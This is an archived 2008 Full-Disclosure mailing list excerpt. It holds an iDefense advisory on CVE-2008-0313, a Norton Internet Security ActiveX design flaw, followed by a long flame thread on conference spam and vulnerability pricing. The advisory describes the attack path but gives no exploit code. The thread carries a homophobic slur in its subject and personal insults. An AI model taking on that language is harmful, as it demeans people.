Labs) Date: Thu, 03 Apr 2008 19:01:57 -0400 Subject: [Full-disclosure] iDefense Security Advisory 04.02.08: Symantec Internet Security 2008 ActiveDataInfo.LaunchProcess Design Error Vulnerability Message-ID: <47F561E5.5050000@idefense.com> iDefense Security Advisory 04.02.08 http://labs.idefense.com/intelligence/vulnerabilities/ Apr 02, 2008 I. BACKGROUND Norton Internet Security 2008 is a system security suite that offers protection from spyware, viruses, identity theft, spam, and malicious network traffic. More information can be found on the vendor's site at the following URL. http://www.symantec.com/home_homeoffice/products/overview.jsp?pcid=is&pvid=nis2008 II. DESCRIPTION Remote exploitation of a design error in an ActiveX control installed with Symantec Norton Internet Security 2008 could allow for the execution of arbitrary code. Norton Internet Security 2008 installs the following ActiveX control which is registered as safe for scripting: Progid: SymAData.ActiveDataInfo.1 Clsid: 3451DEDE-631F-421c-8127-FD793AFC6CC8 File: C:\PROGRA~1\COMMON~1\SYMANT~1\SUPPOR~1\SymAData.dll Version: 2.7.0.1 This control contains functionality designed to allow Symantec to remotely execute programs on the target machine. III. ANALYSIS Exploitation allows attackers to execute arbitrary code with the privileges of the currently logged in user. In order for exploitation to occur, an attacker would have to lure a vulnerable user to a malicious web site. While this control is marked as safe for scripting, the control has been designed so that it can only be run from the "symantec.com" domain. In practice this requirement can be bypassed through the use of any Cross Site Scripting (XSS) vulnerabilities in the Symantec domain. Exploitation could also occur through the use of DNS poisoning attacks. IV. DETECTION iDefense confirmed that this vulnerability exists in version 2.7.0.1 of the control that is installed with the 2008 version of Norton Internet Security. Other versions may also be available. V. WORKAROUND Setting the kill-bit for this control will prevent it from being loaded within Internet Explorer. However, doing so will prevent legitimate use of the control. VI. VENDOR RESPONSE Symantec has addressed this vulnerability by releasing updates. For more information, refer to their advisory at the following URL. http://www.symantec.com/avcenter/security/Content/2008.04.02a.html VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2008-0313 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 12/14/2007 Initial vendor notification 12/14/2007 Initial vendor response 04/02/2008 Coordinated public disclosure IX. CREDIT The discoverer of this vulnerability wishes to remain anonymous. Get paid for vulnerability research http://labs.idefense.com/methodology/vulnerability/vcp.php Free tools, research and upcoming events http://labs.idefense.com/ X. LEGAL NOTICES Copyright ? 2008 iDefense, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDefense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please e-mail customerservice at idefense.com for permission. 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From mlande at bellsouth.net Fri Apr 4 03:21:17 2008 From: mlande at bellsouth.net (Mary Landesman) Date: Thu, 3 Apr 2008 22:21:17 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw masssecurityconferencespamming its f****** gay In-Reply-To: <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com><4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com><4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com><27886.1207189079@turing-police.cc.vt.edu><030b01c89543$0b481540$6401a8c0@maryl><82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com><6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com><004e01c89593$4cec60f0$336b880a@softpro.corp> <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> Message-ID: <033901c895fa$913c9b50$6401a8c0@maryl> I think the concerns you're raised about profiteering/marketing on the list are valid. I hadn't thought of it from that perspective, frankly. It can be helpful to have a central resource/calendar to be informed about them. I would subscribe to a specific list for that. -- Mary -----Original Message----- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of n3td3v Sent: Thursday, April 03, 2008 5:39 PM To: Garrett M. Groff; n3td3v; full-disclosure at lists.grok.org.uk Subject: Re: [Full-disclosure] Fwd: Let's outlaw masssecurityconferencespamming its f****** gay On Thu, Apr 3, 2008 at 3:02 PM, Garrett M. Groff wrote: > Regarding the particular person in question, I'll defer to others who > know him (or her, or they, or whomever) better than I do. Instead, > I'll say that, generally, on lists like FD, there is a minority of > out-spoken personalities who sadly support the stereotypical hacker > persona: condescending egoists who are socially inept and emotionally > charged when discussing topics that relate to their knowledge domain. > That's unfortunate, since the broader IT security community is poorly represented due to attention-seeking zealots. > > Regarding the idea of "oulawing security conference spamming," I'd say > the literal idea of outlawing cross-posts to multiple security mailing > lists is a bad idea. The idea that the legislature should write into > law legislation that reduces our freedom in such a sense is a slippery > slope borne of emotionalism and narrowness. What else should the > government do to curtail our freedoms? I tend to side with libertarian > types (though I don't call myself a "libertarian" un-qualified) on > what the government should do and what they should not do. And > micro-manage security mailing lists is something they should not do. > It's a bad idea and would make a dreadful precedent. Full-Disclosure is ment to be about free source, not making money. I'm against people who make money come on the mailing lists, its commerical spam. We can't allow this to continue, here are what I don't like: - Come to our conference - profit... buy our ticket, get a macbook prize. - Hacking challenge prize - profit... they give you $5000 and sell it to the vendor for a lot more. - Train to use our software -profit... over priced training for software... not interested. On the issue of how much a vulnerability is worth, the prices are not regulated, we need regulation into how much a vulnerability costs, because the prices right now are wild. We need to take vulnerability pricing off the blackmarket and onto a legitimate central website for selling vulnerabilities, or cash rewards for disclosing a vulnerability to a particular company or organisation. I don't like sites like digital armaments which when i visited it, the content and answers they gave were questionable, and people have complained about digital armaments in the past. Its time to get pricing regulated and defined, so everyone knows whos being joe jobbed and who isn't. Can someone post to full-disclosure a price list of what they think a bufferoverflow should be worth etc, and we can vote if we agree. So what i'm calling for is someone to post up a hackers price list per vulnerability type. XSS/SQL should be worth something as well, so Morning_Wood can buy milk and a news paper in the mornings after he's taken care of his wood. Sorry i've ended this e-mail with slightly off-topicness, but I do think pricing needs to be defined. We can't dress up cash prizes/contests as something else as well, if a website is offering a $5,000 reward for a vulnerability, we need to know if we're being ripped off with the cash reward and how much can be potentially made after its sold on. Robert Lemos even http://www.securityfocus.com/news/11510 talked about vulnerability pricing when Pwn2Own was on, and even Pwn2Own cash reward might not be enough money, compared to what a vulnerability *should* be worth, and taking into consideration how much profit CanSecWest make overall from people attending the conference. So you take into consideration how much a vulnerability should be worth, then the added worth because its a security conference of how much should be added on to counter the profit being made by the event. A vulnerability should be worth more if its disclosed at a security conference than if its bought privately, because you've got to take in profit and free advertsing to calculate. However, to round off, we can't allow the mailing lists to turn into a vulnerability market place, full-disclosure should be for free stuff, and other websites and mailing lists can be setup for *money making schemes and auctions*. We shouldn't allow the money makers directly to market X... if a link is put on Full-Disclosure by a member of the public on the fly then thats ok, but I think its cheeky for the particular conference, contest runner or software trainer to be on the list themselves spamming everyone, for a profiteering agenda. You mention cross-posting, thats not the issue here, its the people making the money posting to make the money that offends me so much. And not even the lonely hacker offends me who posts i've got a vulnerability for sale for X, I don't mind that on Full-Disclosure, but what I do mind is if its a company or organisation doing it that is directly the ones making the money via vulnerability for sale, prize contest, security conference or train to use our software!!!, thats the height of spam I just think is utterly wrong and unethical on any scale of acceptability. If a lonley hacker who works in a supermarket has a vulnerabilty to sell i'm all for it being post on full-disclosure, but not the big money conferences, prize hacking contests and software training guys. I come under the bracket as supermarket worker with nothing much going for me in life, so I should be allowed to sell a vulnerability on what's ment to be a mailing list for non-profit disclosure. If we tolerate the money making schemes much longer, eventually full-disclosure will be a wash with conference,training,cash prize spam, etc once everyone realises the full value of vulnerabilities and the huge amounts of money to be made from setting up a cash prize contest, the huge amounts of money to be made from setting up a security conference and the huge amounts of money to be made from training people to use your hax0r software. You will find it easy to shout me down and say n3td3v's an idiot, but wait to the vulnerability market really takes off and the prices of vulnerabilities are properly defined and regulated, you're going to see a huge increase in commercial spam on the mailing lists, like the full-disclosure mailing list. so we've got to define what's fair play e-mail and what's a company or organisation blatantly profiteering with X method of extracting money out of people and using skilled hackers to make money, and to promote a security conference, training etc. All the best, n3td3v _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From groffg at gmgdesign.com Fri Apr 4 04:22:47 2008 From: groffg at gmgdesign.com (Garrett M. Groff) Date: Thu, 3 Apr 2008 23:22:47 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay In-Reply-To: <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com> <4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com> <27886.1207189079@turing-police.cc.vt.edu> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> <004e01c89593$4cec60f0$336b880a@softpro.corp> <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> Message-ID: <76AAE5898B50423A94099BC054C8B16A@Komputer01> netdev, I'll begin by confessing that I merely skimmed your email and did not peruse it. Having said that, the buying and selling of vulnerabilities is subject to the trading of anything else, be it commidities, products, services, securities (such as stocks), or other tradeable assets. What you proposed is economic in nature and not unique or specific to geekdom. Specifically, what you're suggesting is more in line with Marxism, where a "fair" price is dictated by a central authority. Instead, our system of free-market capitalism is such that vulnerabilities can be bought and sold by whomever wishes to buy them and sell them. (Furthermore, evidence suggests that black market activity would *increase* in cases where trading of a given item is highly restricted on the legitimate market (relegating the trading to the black market); for eg, the trading of illicit drugs exists and is a multi-billion dollar industry in the US despite laws that proscribe the trading and possession of those drugs). -- Regarding the information on conferences and such that are touted on this list (and others), it's something that we'll just have to deal with. This list is un-moderated and, perhaps, there are people who appreciate the information. - G ----- Original Message ----- From: "n3td3v" To: "Garrett M. Groff" ; "n3td3v" ; Sent: Thursday, April 03, 2008 5:38 PM Subject: Re: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay > On Thu, Apr 3, 2008 at 3:02 PM, Garrett M. Groff > wrote: >> Regarding the particular person in question, I'll defer to others who >> know >> him (or her, or they, or whomever) better than I do. Instead, I'll say >> that, >> generally, on lists like FD, there is a minority of out-spoken >> personalities >> who sadly support the stereotypical hacker persona: condescending egoists >> who are socially inept and emotionally charged when discussing topics >> that >> relate to their knowledge domain. That's unfortunate, since the broader >> IT >> security community is poorly represented due to attention-seeking >> zealots. >> >> Regarding the idea of "oulawing security conference spamming," I'd say >> the >> literal idea of outlawing cross-posts to multiple security mailing lists >> is >> a bad idea. The idea that the legislature should write into law >> legislation >> that reduces our freedom in such a sense is a slippery slope borne of >> emotionalism and narrowness. What else should the government do to >> curtail >> our freedoms? I tend to side with libertarian types (though I don't call >> myself a "libertarian" un-qualified) on what the government should do and >> what they should not do. And micro-manage security mailing lists is >> something they should not do. It's a bad idea and would make a dreadful >> precedent. > > Full-Disclosure is ment to be about free source, not making money. I'm > against people who make money come on the mailing lists, its > commerical spam. We can't allow this to continue, here are what I > don't like: > > - Come to our conference - profit... buy our ticket, get a macbook prize. > > - Hacking challenge prize - profit... they give you $5000 and sell it > to the vendor for a lot more. > > - Train to use our software -profit... over priced training for > software... not interested. > > On the issue of how much a vulnerability is worth, the prices are not > regulated, we need regulation into how much a vulnerability costs, > because the prices right now are wild. We need to take vulnerability > pricing off the blackmarket and onto a legitimate central website for > selling vulnerabilities, or cash rewards for disclosing a > vulnerability to a particular company or organisation. I don't like > sites like digital armaments which when i visited it, the content and > answers they gave were questionable, and people have complained about > digital armaments in the past. Its time to get pricing regulated and > defined, so everyone knows whos being joe jobbed and who isn't. > > Can someone post to full-disclosure a price list of what they think a > bufferoverflow should be worth etc, and we can vote if we agree. > > So what i'm calling for is someone to post up a hackers price list per > vulnerability type. > > XSS/SQL should be worth something as well, so Morning_Wood can buy > milk and a news paper in the mornings after he's taken care of his > wood. > > Sorry i've ended this e-mail with slightly off-topicness, but I do > think pricing needs to be defined. > > We can't dress up cash prizes/contests as something else as well, if a > website is offering a $5,000 reward for a vulnerability, we need to > know if we're being ripped off with the cash reward and how much can > be potentially made after its sold on. > > Robert Lemos even http://www.securityfocus.com/news/11510 talked about > vulnerability pricing when Pwn2Own was on, and even Pwn2Own cash > reward might not be enough money, compared to what a vulnerability > *should* be worth, and taking into consideration how much profit > CanSecWest make overall from people attending the conference. > > So you take into consideration how much a vulnerability should be > worth, then the added worth because its a security conference of how > much should be added on to counter the profit being made by the event. > > A vulnerability should be worth more if its disclosed at a security > conference than if its bought privately, because you've got to take in > profit and free advertsing to calculate. > > However, to round off, we can't allow the mailing lists to turn into a > vulnerability market place, full-disclosure should be for free stuff, > and other websites and mailing lists can be setup for *money making > schemes and auctions*. > > We shouldn't allow the money makers directly to market X... if a link > is put on Full-Disclosure by a member of the public on the fly then > thats ok, but I think its cheeky for the particular conference, > contest runner or software trainer to be on the list themselves > spamming everyone, for a profiteering agenda. > > You mention cross-posting, thats not the issue here, its the people > making the money posting to make the money that offends me so much. > > And not even the lonely hacker offends me who posts i've got a > vulnerability for sale for X, I don't mind that on Full-Disclosure, > but what I do mind is if its a company or organisation doing it that > is directly the ones making the money via vulnerability for sale, > prize contest, security conference or train to use our software!!!, > thats the height of spam I just think is utterly wrong and unethical > on any scale of acceptability. > > If a lonley hacker who works in a supermarket has a vulnerabilty to > sell i'm all for it being post on full-disclosure, but not the big > money conferences, prize hacking contests and software training guys. > > I come under the bracket as supermarket worker with nothing much going > for me in life, so I should be allowed to sell a vulnerability on > what's ment to be a mailing list for non-profit disclosure. > > If we tolerate the money making schemes much longer, eventually > full-disclosure will be a wash with conference,training,cash prize > spam, etc once everyone realises the full value of vulnerabilities and > the huge amounts of money to be made from setting up a cash prize > contest, the huge amounts of money to be made from setting up a > security conference and the huge amounts of money to be made from > training people to use your hax0r software. > > You will find it easy to shout me down and say n3td3v's an idiot, but > wait to the vulnerability market really takes off and the prices of > vulnerabilities are properly defined and regulated, you're going to > see a huge increase in commercial spam on the mailing lists, like the > full-disclosure mailing list. so we've got to define what's fair play > e-mail and what's a company or organisation blatantly profiteering > with X method of extracting money out of people and using skilled > hackers to make money, and to promote a security conference, training > etc. > > All the best, > > n3td3v > From redhowlingwolves at nc.rr.com Fri Apr 4 05:36:06 2008 From: redhowlingwolves at nc.rr.com (scott) Date: Fri, 04 Apr 2008 00:36:06 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay In-Reply-To: <76AAE5898B50423A94099BC054C8B16A@Komputer01> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com> <4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com> <27886.1207189079@turing-police.cc.vt.edu> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> <004e01c89593$4cec60f0$336b880a@softpro.corp> <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> <76AAE5898B50423A94099BC054C8B16A@Komputer01> Message-ID: <47F5B036.1010101@nc.rr.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 He has no clue what it means to live in a democracy, much less a federation. Let's let the comedy go on, shall we? Definitely breaks the monotony of everyday BS. Garrett M. Groff wrote: > netdev, I'll begin by confessing that I merely skimmed your email and did > not peruse it. Having said that, the buying and selling of vulnerabilities > is subject to the trading of anything else, be it commidities, products, > services, securities (such as stocks), or other tradeable assets. > > What you proposed is economic in nature and not unique or specific to > geekdom. Specifically, what you're suggesting is more in line with Marxism, > where a "fair" price is dictated by a central authority. Instead, our system > of free-market capitalism is such that vulnerabilities can be bought and > sold by whomever wishes to buy them and sell them. (Furthermore, evidence > suggests that black market activity would *increase* in cases where trading > of a given item is highly restricted on the legitimate market (relegating > the trading to the black market); for eg, the trading of illicit drugs > exists and is a multi-billion dollar industry in the US despite laws that > proscribe the trading and possession of those drugs). > > -- > > Regarding the information on conferences and such that are touted on this > list (and others), it's something that we'll just have to deal with. This > list is un-moderated and, perhaps, there are people who appreciate the > information. > > - G > > > ----- Original Message ----- > From: "n3td3v" > To: "Garrett M. Groff" ; "n3td3v" > ; > Sent: Thursday, April 03, 2008 5:38 PM > Subject: Re: [Full-disclosure] Fwd: Let's outlaw mass > securityconferencespamming its f****** gay > > >> On Thu, Apr 3, 2008 at 3:02 PM, Garrett M. Groff >> wrote: >>> Regarding the particular person in question, I'll defer to others who >>> know >>> him (or her, or they, or whomever) better than I do. Instead, I'll say >>> that, >>> generally, on lists like FD, there is a minority of out-spoken >>> personalities >>> who sadly support the stereotypical hacker persona: condescending egoists >>> who are socially inept and emotionally charged when discussing topics >>> that >>> relate to their knowledge domain. That's unfortunate, since the broader >>> IT >>> security community is poorly represented due to attention-seeking >>> zealots. >>> >>> Regarding the idea of "oulawing security conference spamming," I'd say >>> the >>> literal idea of outlawing cross-posts to multiple security mailing lists >>> is >>> a bad idea. The idea that the legislature should write into law >>> legislation >>> that reduces our freedom in such a sense is a slippery slope borne of >>> emotionalism and narrowness. What else should the government do to >>> curtail >>> our freedoms? I tend to side with libertarian types (though I don't call >>> myself a "libertarian" un-qualified) on what the government should do and >>> what they should not do. And micro-manage security mailing lists is >>> something they should not do. It's a bad idea and would make a dreadful >>> precedent. >> Full-Disclosure is ment to be about free source, not making money. I'm >> against people who make money come on the mailing lists, its >> commerical spam. We can't allow this to continue, here are what I >> don't like: >> >> - Come to our conference - profit... buy our ticket, get a macbook prize. >> >> - Hacking challenge prize - profit... they give you $5000 and sell it >> to the vendor for a lot more. >> >> - Train to use our software -profit... over priced training for >> software... not interested. >> >> On the issue of how much a vulnerability is worth, the prices are not >> regulated, we need regulation into how much a vulnerability costs, >> because the prices right now are wild. We need to take vulnerability >> pricing off the blackmarket and onto a legitimate central website for >> selling vulnerabilities, or cash rewards for disclosing a >> vulnerability to a particular company or organisation. I don't like >> sites like digital armaments which when i visited it, the content and >> answers they gave were questionable, and people have complained about >> digital armaments in the past. Its time to get pricing regulated and >> defined, so everyone knows whos being joe jobbed and who isn't. >> >> Can someone post to full-disclosure a price list of what they think a >> bufferoverflow should be worth etc, and we can vote if we agree. >> >> So what i'm calling for is someone to post up a hackers price list per >> vulnerability type. >> >> XSS/SQL should be worth something as well, so Morning_Wood can buy >> milk and a news paper in the mornings after he's taken care of his >> wood. >> >> Sorry i've ended this e-mail with slightly off-topicness, but I do >> think pricing needs to be defined. >> >> We can't dress up cash prizes/contests as something else as well, if a >> website is offering a $5,000 reward for a vulnerability, we need to >> know if we're being ripped off with the cash reward and how much can >> be potentially made after its sold on. >> >> Robert Lemos even http://www.securityfocus.com/news/11510 talked about >> vulnerability pricing when Pwn2Own was on, and even Pwn2Own cash >> reward might not be enough money, compared to what a vulnerability >> *should* be worth, and taking into consideration how much profit >> CanSecWest make overall from people attending the conference. >> >> So you take into consideration how much a vulnerability should be >> worth, then the added worth because its a security conference of how >> much should be added on to counter the profit being made by the event. >> >> A vulnerability should be worth more if its disclosed at a security >> conference than if its bought privately, because you've got to take in >> profit and free advertsing to calculate. >> >> However, to round off, we can't allow the mailing lists to turn into a >> vulnerability market place, full-disclosure should be for free stuff, >> and other websites and mailing lists can be setup for *money making >> schemes and auctions*. >> >> We shouldn't allow the money makers directly to market X... if a link >> is put on Full-Disclosure by a member of the public on the fly then >> thats ok, but I think its cheeky for the particular conference, >> contest runner or software trainer to be on the list themselves >> spamming everyone, for a profiteering agenda. >> >> You mention cross-posting, thats not the issue here, its the people >> making the money posting to make the money that offends me so much. >> >> And not even the lonely hacker offends me who posts i've got a >> vulnerability for sale for X, I don't mind that on Full-Disclosure, >> but what I do mind is if its a company or organisation doing it that >> is directly the ones making the money via vulnerability for sale, >> prize contest, security conference or train to use our software!!!, >> thats the height of spam I just think is utterly wrong and unethical >> on any scale of acceptability. >> >> If a lonley hacker who works in a supermarket has a vulnerabilty to >> sell i'm all for it being post on full-disclosure, but not the big >> money conferences, prize hacking contests and software training guys. >> >> I come under the bracket as supermarket worker with nothing much going >> for me in life, so I should be allowed to sell a vulnerability on >> what's ment to be a mailing list for non-profit disclosure. >> >> If we tolerate the money making schemes much longer, eventually >> full-disclosure will be a wash with conference,training,cash prize >> spam, etc once everyone realises the full value of vulnerabilities and >> the huge amounts of money to be made from setting up a cash prize >> contest, the huge amounts of money to be made from setting up a >> security conference and the huge amounts of money to be made from >> training people to use your hax0r software. >> >> You will find it easy to shout me down and say n3td3v's an idiot, but >> wait to the vulnerability market really takes off and the prices of >> vulnerabilities are properly defined and regulated, you're going to >> see a huge increase in commercial spam on the mailing lists, like the >> full-disclosure mailing list. so we've got to define what's fair play >> e-mail and what's a company or organisation blatantly profiteering >> with X method of extracting money out of people and using skilled >> hackers to make money, and to promote a security conference, training >> etc. >> >> All the best, >> >> n3td3v >> > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFH9bA1s+9h2X0fCGcRAq+9AJ0dieUgKq4pya6mF/oWclEBqj2z3gCgjYEr uoq2+8AfO1q+TyFj9Fts6z8= =3d9e -----END PGP SIGNATURE----- From redhowlingwolves at nc.rr.com Fri Apr 4 05:38:54 2008 From: redhowlingwolves at nc.rr.com (scott) Date: Fri, 04 Apr 2008 00:38:54 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw masssecurityconferencespamming its f****** gay In-Reply-To: <033901c895fa$913c9b50$6401a8c0@maryl> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com><4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com><4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com><27886.1207189079@turing-police.cc.vt.edu><030b01c89543$0b481540$6401a8c0@maryl><82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com><6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com><004e01c89593$4cec60f0$336b880a@softpro.corp> <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> <033901c895fa$913c9b50$6401a8c0@maryl> Message-ID: <47F5B0DE.5000702@nc.rr.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 That is what full-disclosure was created for!? Due to the massive influx of media attention, it has come to this. Mary Landesman wrote: > I think the concerns you're raised about profiteering/marketing on the list > are valid. I hadn't thought of it from that perspective, frankly. > > It can be helpful to have a central resource/calendar to be informed about > them. I would subscribe to a specific list for that. > > -- Mary > > -----Original Message----- > From: full-disclosure-bounces at lists.grok.org.uk > [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of n3td3v > Sent: Thursday, April 03, 2008 5:39 PM > To: Garrett M. Groff; n3td3v; full-disclosure at lists.grok.org.uk > Subject: Re: [Full-disclosure] Fwd: Let's outlaw > masssecurityconferencespamming its f****** gay > > On Thu, Apr 3, 2008 at 3:02 PM, Garrett M. Groff > wrote: >> Regarding the particular person in question, I'll defer to others who >> know him (or her, or they, or whomever) better than I do. Instead, >> I'll say that, generally, on lists like FD, there is a minority of >> out-spoken personalities who sadly support the stereotypical hacker >> persona: condescending egoists who are socially inept and emotionally >> charged when discussing topics that relate to their knowledge domain. >> That's unfortunate, since the broader IT security community is poorly > represented due to attention-seeking zealots. >> Regarding the idea of "oulawing security conference spamming," I'd say >> the literal idea of outlawing cross-posts to multiple security mailing >> lists is a bad idea. The idea that the legislature should write into >> law legislation that reduces our freedom in such a sense is a slippery >> slope borne of emotionalism and narrowness. What else should the >> government do to curtail our freedoms? I tend to side with libertarian >> types (though I don't call myself a "libertarian" un-qualified) on >> what the government should do and what they should not do. And >> micro-manage security mailing lists is something they should not do. >> It's a bad idea and would make a dreadful precedent. > > Full-Disclosure is ment to be about free source, not making money. I'm > against people who make money come on the mailing lists, its commerical > spam. We can't allow this to continue, here are what I don't like: > > - Come to our conference - profit... buy our ticket, get a macbook prize. > > - Hacking challenge prize - profit... they give you $5000 and sell it to the > vendor for a lot more. > > - Train to use our software -profit... over priced training for software... > not interested. > > On the issue of how much a vulnerability is worth, the prices are not > regulated, we need regulation into how much a vulnerability costs, because > the prices right now are wild. We need to take vulnerability pricing off the > blackmarket and onto a legitimate central website for selling > vulnerabilities, or cash rewards for disclosing a vulnerability to a > particular company or organisation. I don't like sites like digital > armaments which when i visited it, the content and answers they gave were > questionable, and people have complained about digital armaments in the > past. Its time to get pricing regulated and defined, so everyone knows whos > being joe jobbed and who isn't. > > Can someone post to full-disclosure a price list of what they think a > bufferoverflow should be worth etc, and we can vote if we agree. > > So what i'm calling for is someone to post up a hackers price list per > vulnerability type. > > XSS/SQL should be worth something as well, so Morning_Wood can buy milk and > a news paper in the mornings after he's taken care of his wood. > > Sorry i've ended this e-mail with slightly off-topicness, but I do think > pricing needs to be defined. > > We can't dress up cash prizes/contests as something else as well, if a > website is offering a $5,000 reward for a vulnerability, we need to know if > we're being ripped off with the cash reward and how much can be potentially > made after its sold on. > > Robert Lemos even http://www.securityfocus.com/news/11510 talked about > vulnerability pricing when Pwn2Own was on, and even Pwn2Own cash reward > might not be enough money, compared to what a vulnerability > *should* be worth, and taking into consideration how much profit CanSecWest > make overall from people attending the conference. > > So you take into consideration how much a vulnerability should be worth, > then the added worth because its a security conference of how much should be > added on to counter the profit being made by the event. > > A vulnerability should be worth more if its disclosed at a security > conference than if its bought privately, because you've got to take in > profit and free advertsing to calculate. > > However, to round off, we can't allow the mailing lists to turn into a > vulnerability market place, full-disclosure should be for free stuff, and > other websites and mailing lists can be setup for *money making schemes and > auctions*. > > We shouldn't allow the money makers directly to market X... if a link is put > on Full-Disclosure by a member of the public on the fly then thats ok, but I > think its cheeky for the particular conference, contest runner or software > trainer to be on the list themselves spamming everyone, for a profiteering > agenda. > > You mention cross-posting, thats not the issue here, its the people making > the money posting to make the money that offends me so much. > > And not even the lonely hacker offends me who posts i've got a vulnerability > for sale for X, I don't mind that on Full-Disclosure, but what I do mind is > if its a company or organisation doing it that is directly the ones making > the money via vulnerability for sale, prize contest, security conference or > train to use our software!!!, thats the height of spam I just think is > utterly wrong and unethical on any scale of acceptability. > > If a lonley hacker who works in a supermarket has a vulnerabilty to sell i'm > all for it being post on full-disclosure, but not the big money conferences, > prize hacking contests and software training guys. > > I come under the bracket as supermarket worker with nothing much going for > me in life, so I should be allowed to sell a vulnerability on what's ment to > be a mailing list for non-profit disclosure. > > If we tolerate the money making schemes much longer, eventually > full-disclosure will be a wash with conference,training,cash prize spam, etc > once everyone realises the full value of vulnerabilities and the huge > amounts of money to be made from setting up a cash prize contest, the huge > amounts of money to be made from setting up a security conference and the > huge amounts of money to be made from training people to use your hax0r > software. > > You will find it easy to shout me down and say n3td3v's an idiot, but wait > to the vulnerability market really takes off and the prices of > vulnerabilities are properly defined and regulated, you're going to see a > huge increase in commercial spam on the mailing lists, like the > full-disclosure mailing list. so we've got to define what's fair play e-mail > and what's a company or organisation blatantly profiteering with X method of > extracting money out of people and using skilled hackers to make money, and > to promote a security conference, training etc. > > All the best, > > n3td3v > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFH9bDds+9h2X0fCGcRAmD+AJ4/2PF87IAmuQDZJ4hZB6ZEGtgIMgCfWJJm FJ+rbr0tUqoFTJ1PoIi8I+c= =Z3O6 -----END PGP SIGNATURE----- From redhowlingwolves at nc.rr.com Fri Apr 4 05:28:07 2008 From: redhowlingwolves at nc.rr.com (scott) Date: Fri, 04 Apr 2008 00:28:07 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay In-Reply-To: <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com> <4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com> <27886.1207189079@turing-police.cc.vt.edu> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> <004e01c89593$4cec60f0$336b880a@softpro.corp> <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> Message-ID: <47F5AE57.6070502@nc.rr.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 O how I love your posts. They're all over the place, and at the same time, primitive. I would normally filter such a troll as you, but you keep me in stitches!! N3td3v rocks!! Just not in the way he thinks!! n3td3v wrote: > On Thu, Apr 3, 2008 at 3:02 PM, Garrett M. Groff wrote: >> Regarding the particular person in question, I'll defer to others who know >> him (or her, or they, or whomever) better than I do. Instead, I'll say that, >> generally, on lists like FD, there is a minority of out-spoken personalities >> who sadly support the stereotypical hacker persona: condescending egoists >> who are socially inept and 